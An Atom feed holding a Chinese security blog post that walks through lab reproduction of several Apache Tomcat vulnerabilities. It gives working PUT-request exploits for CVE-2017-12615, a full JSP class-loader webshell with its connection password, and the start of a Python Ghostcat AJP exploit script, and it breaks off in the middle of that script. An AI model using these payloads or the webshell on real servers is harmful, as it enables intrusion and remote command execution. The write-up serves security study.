<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://firefly-569.pages.dev/</id>
  <title type="text">MyBLog</title>
  <subtitle type="text">Ynm</subtitle>
  <updated>2026-10-12T01:00:00.000Z</updated>
  <author><name>Ynm</name></author>
  <link rel="alternate" href="https://firefly-569.pages.dev/"/>
  <link rel="self" href="https://firefly-569.pages.dev/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulhub/apache-tomcat/</id>
      <title type="text">Apache Tomcat</title>
      <published>2026-10-12T01:00:00.000Z</published>
      <updated>2026-10-12T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulhub/apache-tomcat/"/>
      <summary type="text">全面解析 Apache Tomcat 的多个高危漏洞，涵盖 CVE-2017-12615（PUT 方法任意写文件）、CVE-2020-1938（Ghostcat AJP 文件包含）、CVE-2025-24813（会话持久化反序列化 RCE）、CVE-2026-34486（Tribes EncryptInterceptor 绕过 RCE）以及 Tomcat 弱口令后台 Getshell 的原理分析、利用手法及实战修复方案。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>项目</th><th>详情</th></tr></thead><tbody><tr><td><strong>攻击机</strong></td><td>Kali Linux（IP：192.168.197.128）</td></tr><tr><td><strong>靶机</strong></td><td>Ubuntu Server 24.04（IP：192.168.197.88）</td></tr><tr><td><strong>CVSS 评分</strong></td><td>CVE-2017-12615: 8.1（高危） / CVE-2020-1938: 9.8（严重） / CVE-2025-24813: 9.8（严重） / CVE-2026-34486: 9.8（严重）</td></tr><tr><td><strong>典型漏洞编号</strong></td><td>CVE-2017-12615 / CVE-2020-1938 / CVE-2025-24813 / CVE-2026-34486 / Tomcat 弱口令</td></tr><tr><td><strong>影响组件</strong></td><td>Apache Tomcat 8.5.19 / 9.0.30 / 9.0.97 / 9.0.116 等</td></tr><tr><td><strong>漏洞类型</strong></td><td>任意文件写入 / 文件包含 / 反序列化 RCE / 认证绕过 / 弱口令</td></tr><tr><td><strong>利用条件</strong></td><td>特定错误配置（readonly=false、AJP 开启、Session 持久化、Tribes 启用、弱口令等）</td></tr><tr><td><strong>核心原理</strong></td><td>DefaultServlet 配置缺陷、AJP 协议设计缺陷、反序列化与集群通信缺陷</td></tr></tbody></table>
<section><h2>一、漏洞原理<a href="#一漏洞原理"><span>#</span></a></h2><p>Apache Tomcat 是当前最流行的 Java 中间件服务器之一，为 Java Servlet、JSP、WebSocket 等技术提供运行环境。Tomcat 的漏洞家族主要围绕三条技术主线展开：<strong>DefaultServlet 配置缺陷</strong>、<strong>AJP 协议设计缺陷</strong>以及<strong>反序列化与集群通信缺陷</strong>。</p><p><strong>DefaultServlet 配置缺陷</strong>是 Tomcat 多个漏洞的根源。当 <code>conf/web.xml</code> 中 DefaultServlet 的 <code>readonly</code> 参数被设置为 <code>false</code> 时，Tomcat 允许通过 HTTP PUT 方法向服务器写入文件。虽然 Tomcat 对 <code>.jsp</code> 后缀做了检测，但攻击者可利用文件系统特性（如 Linux 下的 <code>/</code> 路径分隔符）绕过限制，写入 JSP Webshell。CVE-2017-12615 就是这类漏洞的典型代表。</p><p><strong>AJP 协议设计缺陷</strong>是 CVE-2020-1938（Ghostcat）的根源。Tomcat 的 AJP（Apache JServ Protocol）连接器用于与前置 HTTP 服务器（如 Apache httpd）通信，默认监听 8009 端口。由于 AJP 协议在设计上允许客户端通过 <code>javax.servlet.include.*</code> 属性控制请求的转发目标，攻击者可以读取 Tomcat 上所有 webapp 目录下的任意文件。若目标应用存在文件上传功能，还可以配合文件包含实现远程代码执行。</p><p><strong>反序列化与集群通信缺陷</strong>则涉及 CVE-2025-24813 和 CVE-2026-34486。前者利用 Tomcat 的会话持久化机制与部分 PUT 请求的路径转换特性，向会话存储目录写入恶意序列化对象，再通过操作 <code>JSESSIONID</code> cookie 触发反序列化；后者则利用 Tomcat Tribes 集群框架中 EncryptInterceptor 的绕过缺陷，向 4000 端口发送未加密的 Java 反序列化 payload，直接触发 RCE。</p><p>此外，<strong>弱口令与后台管理</strong>是 Tomcat 实战中最常见的入口之一。若管理员在 <code>conf/tomcat-users.xml</code> 中配置了弱口令用户，攻击者即可登录 manager 后台，上传 war 包直接获得 Webshell。</p></section>
<section><h2>二、漏洞复现<a href="#二漏洞复现"><span>#</span></a></h2><section><h3>1. CVE-2017-12615（PUT 方法任意写文件）<a href="#1-cve-2017-12615put-方法任意写文件"><span>#</span></a></h3><p>Tomcat 8.5.19 版本中，由于 DefaultServlet 配置了 <code>readonly=false</code>，攻击者可通过 PUT 方法向服务器写入任意文件。</p><p>DefaultServlet的关键部分如下：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;servlet&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>&lt;servlet-name&gt;default&lt;/servlet-name&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;servlet-class&gt;org.apache.catalina.servlets.DefaultServlet&lt;/servlet-class&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;init-param&gt;</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>&lt;param-name&gt;debug&lt;/param-name&gt;</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>&lt;param-value&gt;0&lt;/param-value&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;/init-param&gt;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>&lt;init-param&gt;</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>&lt;param-name&gt;listings&lt;/param-name&gt;</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>&lt;param-value&gt;false&lt;/param-value&gt;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>&lt;/init-param&gt;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>&lt;init-param&gt;</span></div></div><div><div><div>13</div></div><div><span><span><span>        </span></span><span>&lt;param-name&gt;readonly&lt;/param-name&gt;</span></span></div></div><div><div><div>14</div></div><div><span><span><span>        </span></span><span>&lt;param-value&gt;false&lt;/param-value&gt;</span></span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>&lt;/init-param&gt;</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>&lt;load-on-startup&gt;1&lt;/load-on-startup&gt;</span></div></div><div><div><div>17</div></div><div><span>&lt;/servlet&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>① 发送 PUT 请求写入一个字符串进行测试</strong></p><p>由于 Tomcat 对 <code>.jsp</code> 后缀有检测，需要在文件名末尾加 <code>/</code> 绕过：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PUT</span><span> /1.jsp/ </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Accept</span><span>:</span><span> </span><span>*/*</span></div></div><div><div><div>4</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>en</span></div></div><div><div><div>5</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span></div></div><div><div><div>6</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>7</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/x-www-form-urlencoded</span></div></div><div><div><div>8</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>5</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>shell</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261011092635.DN8LA9Gy_Z2gnsHr.webp" />
<strong>② 访问网页</strong></p><p>访问 <code>http://192.168.197.88:8080/1.jsp</code>，若能看到 <code>shell</code> 内容，说明文件写入成功。将内容替换为 JSP Webshell 即可执行任意命令。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261011093009.C2POpkoi_10GIj0.webp" />
<strong>③ 替换为 JSP Webshell 并使用蚁剑连接</strong></p><p>将之前 PUT 请求中的 <code>shell</code> 替换为蚁剑可用的 JSP 木马内容，重新发送请求写入 <code>1.jsp</code>，即可通过蚁剑连接获取 Webshell。</p><p>以下是一段蚁剑可用的 JSP 一句话木马（密码为 <code>pass</code>）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;%!</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>class U extends ClassLoader {</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>U(ClassLoader c) { super(c); }</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>public byte[] base64Decode(String str) throws Exception {</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>return new sun.misc.BASE64Decoder().decodeBuffer(str);</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>%&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;%</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>if (request.getParameter("pass") != null) {</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>byte[] b = base64Decode(request.getParameter("pass"));</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>new U(this.getClass().getClassLoader()).g(b).newInstance().equals(pageContext);</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>%&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>在 Burp Repeater 中修改请求体为上面的 JSP 代码，注意 <code>Content-Length</code> 要改为实际长度，并保持 <code>PUT /1.jsp/ HTTP/1.1</code> 不变：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PUT</span><span> /1.jsp/ </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Accept</span><span>:</span><span> </span><span>*/*</span></div></div><div><div><div>4</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>en</span></div></div><div><div><div>5</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span></div></div><div><div><div>6</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>7</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/x-www-form-urlencoded</span></div></div><div><div><div>8</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>612</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>&lt;%@</span><span> </span><span>page</span><span> language="java" contentType="text/html; charset=UTF-8" </span><span>page</span><span>Encoding="UTF-8"</span><span>%&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;%!</span></div></div><div><div><div>12</div></div><div><span>    </span><span>class</span><span><span> </span><span>U</span><span> </span></span><span>extends</span><span><span> </span><span>ClassLoader</span><span> </span></span><span>{</span></div></div><div><div><div>13</div></div><div><span>        </span><span>U</span><span>(</span><span>ClassLoader</span><span><span> </span><span>c</span><span>)</span><span> </span><span>{ </span></span><span>super</span><span>(c); }</span></div></div><div><div><div>14</div></div><div><span>        </span><span>public</span><span> </span><span>Class</span><span> </span><span>g</span><span>(</span><span>byte</span><span><span>[] </span><span>b</span><span>)</span><span> </span><span>{ </span></span><span>return</span><span> </span><span>super</span><span>.</span><span>defineClass</span><span>(b, </span><span>0</span><span>, </span><span>b</span><span>.</span><span>length</span><span>); }</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>    </span><span>public</span><span> </span><span>byte</span><span>[] </span><span>base64Decode</span><span>(</span><span>String</span><span> str) throws Exception {</span></div></div><div><div><div>17</div></div><div><span>        </span><span>return</span><span> </span><span>new</span><span><span> sun</span><span>.</span></span><span>misc</span><span>.</span><span>BASE64Decoder</span><span>().</span><span>decodeBuffer</span><span>(str);</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>19</div></div><div><span>%&gt;</span></div></div><div><div><div>20</div></div><div><span>&lt;%</span></div></div><div><div><div>21</div></div><div><span>    </span><span>if</span><span> (</span><span>request</span><span>.</span><span>getParameter</span><span>(</span><span>"pass"</span><span><span>)</span><span> </span><span>!=</span><span> </span></span><span>null</span><span>) {</span></div></div><div><div><div>22</div></div><div><span>        </span><span>byte</span><span>[] b </span><span><span>=</span><span> </span></span><span>base64Decode</span><span>(</span><span>request</span><span>.</span><span>getParameter</span><span>(</span><span>"pass"</span><span><span>)</span><span>)</span><span>;</span></span></div></div><div><div><div>23</div></div><div><span>        </span><span>new</span><span> </span><span>U</span><span>(</span><span>this</span><span>.</span><span>getClass</span><span>().</span><span>getClassLoader</span><span><span>()</span><span>)</span><span>.</span></span><span>g</span><span>(b).</span><span>newInstance</span><span>().</span><span>equals</span><span>(pageContext);</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>25</div></div><div><span>%&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>发送请求后，若响应状态码为 <strong>204 （或其他 2xx 状态码）</strong>，说明 JSP 文件已成功写入 Web 根目录。</p><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261011093541.iG7biI9Q_2ho1B0.webp" /></p><p>此时浏览器访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/1.jsp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果页面空白且没有报错，说明木马已正常部署。</p><p>打开蚁剑（AntSword），右键“添加数据”，填写以下信息：</p>

<table><thead><tr><th>配置项</th><th>值</th></tr></thead><tbody><tr><td>URL 地址</td><td><code>http://192.168.197.88:8080/1.jsp</code></td></tr><tr><td>连接密码</td><td><code>pass</code></td></tr></tbody></table><p>点击“测试连接”，若显示“连接成功”，即可进入文件管理、命令执行等操作，获得完整的 Webshell 控制权限。</p><p><img alt="" loading="lazy" width="1273" height="743" src="/_astro/Pasted%20image%2020261011093748.BC_VL3_K_h6esh.webp" /></p></section><section><h3>2. CVE-2020-1938（Ghostcat AJP 文件包含）<a href="#2-cve-2020-1938ghostcat-ajp-文件包含"><span>#</span></a></h3><p>Ghostcat（幽灵猫）是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。</p><p>Tomcat AJP 协议默认监听 8009 端口，攻击者可通过该端口读取 webapp 目录下的任意文件。</p><p><strong>① 使用在线工具测试</strong></p><p>可使用以下工具进行漏洞验证：<strong><code>https://www.chaitin.cn/zh/ghostcat（该网站已失效）</code></strong></p><p><strong>② 利用POC脚本方式</strong></p><p>利用目录下的POC脚本：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># -*- coding: utf-8 -*-</span></div></div><div><div><div>2</div></div><div><span>#!/usr/bin/env python</span></div></div><div><div><div>3</div></div><div><span>#修改自 CNVD-2020-10487  Tomcat-Ajp lfi</span></div></div><div><div><div>4</div></div><div><span>#by zwliu2</span></div></div><div><div><div>5</div></div><div><span>import</span><span> struct</span></div></div><div><div><div>6</div></div><div><span>from</span><span> io </span><span>import</span><span> StringIO</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># Some references:</span></div></div><div><div><div>9</div></div><div><span># https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html</span></div></div><div><div><div>10</div></div><div><span>def</span><span> </span><span>pack_string</span><span>(</span><span>s</span><span>):</span></div></div><div><div><div>11</div></div><div><span>  </span><span>if</span><span> s </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>12</div></div><div><span>    </span><span>return</span><span><span> struct.</span><span>pack</span><span>(</span></span><span>"&gt;h"</span><span><span>, </span><span>-</span></span><span>1</span><span>)</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>l </span><span>=</span><span> </span><span>len</span><span>(s)</span></div></div><div><div><div>14</div></div><div><span>  </span><span>return</span><span><span> struct.</span><span>pack</span><span>(</span></span><span>"&gt;H</span><span>%d</span><span>sb"</span><span><span> </span><span>%</span><span> l, l, s.</span><span>encode</span><span>(</span></span><span>'utf8'</span><span>), </span><span>0</span><span>)</span></div></div><div><div><div>15</div></div><div><span>def</span><span> </span><span>unpack</span><span>(</span><span>stream</span><span>,</span><span><span> </span><span>fmt</span></span><span>):</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>size </span><span>=</span><span> struct.</span><span>calcsize</span><span>(fmt)</span></div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>buf </span><span>=</span><span> stream.</span><span>read</span><span>(size)</span></div></div><div><div><div>18</div></div><div><span>  </span><span>return</span><span><span> struct.</span><span>unpack</span><span>(fmt, buf)</span></span></div></div><div><div><div>19</div></div><div><span>def</span><span> </span><span>unpack_string</span><span>(</span><span>stream</span><span>):</span></div></div><div><div><div>20</div></div><div><span><span>  </span></span><span>size, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"&gt;h"</span><span>)</span></div></div><div><div><div>21</div></div><div><span>  </span><span>if</span><span><span> size </span><span>==</span><span> </span><span>-</span></span><span>1</span><span>: </span><span># null string</span></div></div><div><div><div>22</div></div><div><span>    </span><span>return</span><span> </span><span>None</span></div></div><div><div><div>23</div></div><div><span><span>  </span></span><span>res, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"</span><span>%d</span><span>s"</span><span><span> </span><span>%</span><span> size)</span></span></div></div><div><div><div>24</div></div><div><span><span>  </span></span><span>stream.</span><span>read</span><span>(</span><span>1</span><span>) </span><span># \0</span></div></div><div><div><div>25</div></div><div><span>  </span><span>return</span><span> res</span></div></div><div><div><div>26</div></div><div><span>class</span><span><span> </span><span>NotFoundException</span><span>(</span></span><span>Exception</span><span>)</span><span>:</span></div></div><div><div><div>27</div></div><div><span>  </span><span>pass</span></div></div><div><div><div>28</div></div><div><span>class</span><span><span> </span><span>AjpBodyRequest</span><span>(</span></span><span>object</span><span>)</span><span>:</span></div></div><div><div><div>29</div></div><div><span>  </span><span># server == web server, container == servlet</span></div></div><div><div><div>30</div></div><div><span><span>  </span></span><span>SERVER_TO_CONTAINER</span><span>, </span><span>CONTAINER_TO_SERVER</span><span> </span><span>=</span><span> </span><span>range</span><span>(</span><span>2</span><span>)</span></div></div><div><div><div>31</div></div><div><span><span>  </span></span><span>MAX_REQUEST_LENGTH</span><span> </span><span>=</span><span> </span><span>8186</span></div></div><div><div><div>32</div></div><div><span>  </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>data_stream</span></span><span>,</span><span><span> </span><span>data_len</span></span><span>,</span><span><span> </span><span>data_direction</span></span><span>=</span><span>None</span><span>):</span></div></div><div><div><div>33</div></div><div><span>    </span><span>self</span><span><span>.data_stream </span><span>=</span><span> data_stream</span></span></div></div><div><div><div>34</div></div><div><span>    </span><span>self</span><span><span>.data_len </span><span>=</span><span> data_len</span></span></div></div><div><div><div>35</div></div><div><span>    </span><span>self</span><span><span>.data_direction </span><span>=</span><span> data_direction</span></span></div></div><div><div><div>36</div></div><div><span>  </span><span>def</span><span> </span><span>serialize</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>data </span><span>=</span><span> </span><span>self</span><span><span>.data_stream.</span><span>read</span><span>(AjpBodyRequest.</span><span>MAX_REQUEST_LENGTH</span><span>)</span></span></div></div><div><div><div>38</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(data) </span><span>==</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>39</div></div><div><span>      </span><span>return</span><span><span> struct.</span><span>pack</span><span>(</span></span><span>"&gt;bbH"</span><span>, </span><span>0x</span><span>12</span><span>, </span><span>0x</span><span>34</span><span>, </span><span>0x</span><span>00</span><span>)</span></div></div><div><div><div>40</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>41</div></div><div><span><span>      </span></span><span>res </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;H"</span><span>, </span><span>len</span><span>(data))</span></div></div><div><div><div>42</div></div><div><span><span>      </span></span><span>res </span><span>+=</span><span> data</span></div></div><div><div><div>43</div></div><div><span>    </span><span>if</span><span> </span><span>self</span><span><span>.data_direction </span><span>==</span><span> AjpBodyRequest.</span><span>SERVER_TO_CONTAINER</span><span>:</span></span></div></div><div><div><div>44</div></div><div><span><span>      </span></span><span>header </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;bbH"</span><span>, </span><span>0x</span><span>12</span><span>, </span><span>0x</span><span>34</span><span>, </span><span>len</span><span>(res))</span></div></div><div><div><div>45</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>46</div></div><div><span><span>      </span></span><span>header </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;bbH"</span><span>, </span><span>0x</span><span>41</span><span>, </span><span>0x</span><span>42</span><span>, </span><span>len</span><span>(res))</span></div></div><div><div><div>47</div></div><div><span>    </span><span>return</span><span><span> header </span><span>+</span><span> res</span></span></div></div><div><div><div>48</div></div><div><span>  </span><span>def</span><span> </span><span>send_and_receive</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>socket</span></span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>49</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>50</div></div><div><span><span>      </span></span><span>data </span><span>=</span><span> </span><span>self</span><span><span>.</span><span>serialize</span><span>()</span></span></div></div><div><div><div>51</div></div><div><span><span>      </span></span><span>socket.</span><span>send</span><span>(data)</span></div></div><div><div><div>52</div></div><div><span><span>      </span></span><span>r </span><span>=</span><span> AjpResponse.</span><span>receive</span><span>(stream)</span></div></div><div><div><div>53</div></div><div><span>      </span><span>while</span><span><span> r.prefix_code </span><span>!=</span><span> AjpResponse.</span><span>GET_BODY_CHUNK</span><span> </span></span><span>and</span><span><span> r.prefix_code </span><span>!=</span><span> AjpResponse.</span><span>SEND_HEADERS</span><span>:</span></span></div></div><div><div><div>54</div></div><div><span><span>        </span></span><span>r </span><span>=</span><span> AjpResponse.</span><span>receive</span><span>(stream)</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>      </span><span>if</span><span><span> r.prefix_code </span><span>==</span><span> AjpResponse.</span><span>SEND_HEADERS</span><span> </span></span><span>or</span><span> </span><span>len</span><span><span>(data) </span><span>==</span><span> </span></span><span>4</span><span>:</span></div></div><div><div><div>57</div></div><div><span>        </span><span>break</span></div></div><div><div><div>58</div></div><div><span>class</span><span><span> </span><span>AjpForwardRequest</span><span>(</span></span><span>object</span><span>)</span><span>:</span></div></div><div><div><div>59</div></div><div><span><span>  </span></span><span>_, </span><span>OPTIONS</span><span>, </span><span>GET</span><span>, </span><span>HEAD</span><span>, </span><span>POST</span><span>, </span><span>PUT</span><span>, </span><span>DELETE</span><span>, </span><span>TRACE</span><span>, </span><span>PROPFIND</span><span>, </span><span>PROPPATCH</span><span>, </span><span>MKCOL</span><span>, </span><span>COPY</span><span>, </span><span>MOVE</span><span>, </span><span>LOCK</span><span>, </span><span>UNLOCK</span><span>, </span><span>ACL</span><span>, </span><span>REPORT</span><span>, </span><span>VERSION_CONTROL</span><span>, </span><span>CHECKIN</span><span>, </span><span>CHECKOUT</span><span>, </span><span>UNCHECKOUT</span><span>, </span><span>SEARCH</span><span>, </span><span>MKWORKSPACE</span><span>, </span><span>UPDATE</span><span>, </span><span>LABEL</span><span>, </span><span>MERGE</span><span>, </span><span>BASELINE_CONTROL</span><span>, </span><span>MKACTIVITY</span><span> </span><span>=</span><span> </span><span>range</span><span>(</span><span>28</span><span>)</span></div></div><div><div><div>60</div></div><div><span><span>  </span></span><span>REQUEST_METHODS</span><span> </span><span>=</span><span> {</span><span>'GET'</span><span><span>: </span><span>GET</span><span>, </span></span><span>'POST'</span><span><span>: </span><span>POST</span><span>, </span></span><span>'HEAD'</span><span><span>: </span><span>HEAD</span><span>, </span></span><span>'OPTIONS'</span><span><span>: </span><span>OPTIONS</span><span>, </span></span><span>'PUT'</span><span><span>: </span><span>PUT</span><span>, </span></span><span>'DELETE'</span><span><span>: </span><span>DELETE</span><span>, </span></span><span>'TRACE'</span><span><span>: </span><span>TRACE</span><span>}</span></span></div></div><div><div><div>61</div></div><div><span>  </span><span># server == web server, container == servlet</span></div></div><div><div><div>62</div></div><div><span><span>  </span></span><span>SERVER_TO_CONTAINER</span><span>, </span><span>CONTAINER_TO_SERVER</span><span> </span><span>=</span><span> </span><span>range</span><span>(</span><span>2</span><span>)</span></div></div><div><div><div>63</div></div><div><span><span>  </span></span><span>COMMON_HEADERS</span><span> </span><span>=</span><span> [</span><span>"SC_REQ_ACCEPT"</span><span>,</span></div></div><div><div><div>64</div></div><div><span>    </span><span>"SC_REQ_ACCEPT_CHARSET"</span><span>, </span><span>"SC_REQ_ACCEPT_ENCODING"</span><span>, </span><span>"SC_REQ_ACCEPT_LANGUAGE"</span><span>, </span><span>"SC_REQ_AUTHORIZATION"</span><span>,</span></div></div><div><div><div>65</div></div><div><span>    </span><span>"SC_REQ_CONNECTION"</span><span>, </span><span>"SC_REQ_CONTENT_TYPE"</span><span>, </span><span>"SC_REQ_CONTENT_LENGTH"</span><span>, </span><span>"SC_REQ_COOKIE"</span><span>, </span><span>"SC_REQ_COOKIE2"</span><span>,</span></div></div><div><div><div>66</div></div><div><span>    </span><span>"SC_REQ_HOST"</span><span>, </span><span>"SC_REQ_PRAGMA"</span><span>, </span><span>"SC_REQ_REFERER"</span><span>, </span><span>"SC_REQ_USER_AGENT"</span></div></div><div><div><div>67</div></div><div><span><span>  </span></span><span>]</span></div></div><div><div><div>68</div></div><div><span><span>  </span></span><span>ATTRIBUTES</span><span> </span><span>=</span><span> [</span><span>"context"</span><span>, </span><span>"servlet_path"</span><span>, </span><span>"remote_user"</span><span>, </span><span>"auth_type"</span><span>, </span><span>"query_string"</span><span>, </span><span>"route"</span><span>, </span><span>"ssl_cert"</span><span>, </span><span>"ssl_cipher"</span><span>, </span><span>"ssl_session"</span><span>, </span><span>"req_attribute"</span><span>, </span><span>"ssl_key_size"</span><span>, </span><span>"secret"</span><span>, </span><span>"stored_method"</span><span>]</span></div></div><div><div><div>69</div></div><div><span>  </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>data_direction</span></span><span>=</span><span>None</span><span>):</span></div></div><div><div><div>70</div></div><div><span>    </span><span>self</span><span><span>.prefix_code </span><span>=</span><span> </span></span><span>0x</span><span>02</span></div></div><div><div><div>71</div></div><div><span>    </span><span>self</span><span><span>.method </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>72</div></div><div><span>    </span><span>self</span><span><span>.protocol </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>73</div></div><div><span>    </span><span>self</span><span><span>.req_uri </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>74</div></div><div><span>    </span><span>self</span><span><span>.remote_addr </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>75</div></div><div><span>    </span><span>self</span><span><span>.remote_host </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>76</div></div><div><span>    </span><span>self</span><span><span>.server_name </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>77</div></div><div><span>    </span><span>self</span><span><span>.server_port </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>78</div></div><div><span>    </span><span>self</span><span><span>.is_ssl </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>79</div></div><div><span>    </span><span>self</span><span><span>.num_headers </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>80</div></div><div><span>    </span><span>self</span><span><span>.request_headers </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>81</div></div><div><span>    </span><span>self</span><span><span>.attributes </span><span>=</span><span> </span></span><span>None</span></div></div><div><div><div>82</div></div><div><span>    </span><span>self</span><span><span>.data_direction </span><span>=</span><span> data_direction</span></span></div></div><div><div><div>83</div></div><div><span>  </span><span>def</span><span> </span><span>pack_headers</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>84</div></div><div><span>    </span><span>self</span><span><span>.num_headers </span><span>=</span><span> </span></span><span>len</span><span>(</span><span>self</span><span>.request_headers)</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> </span><span>""</span></div></div><div><div><div>86</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> 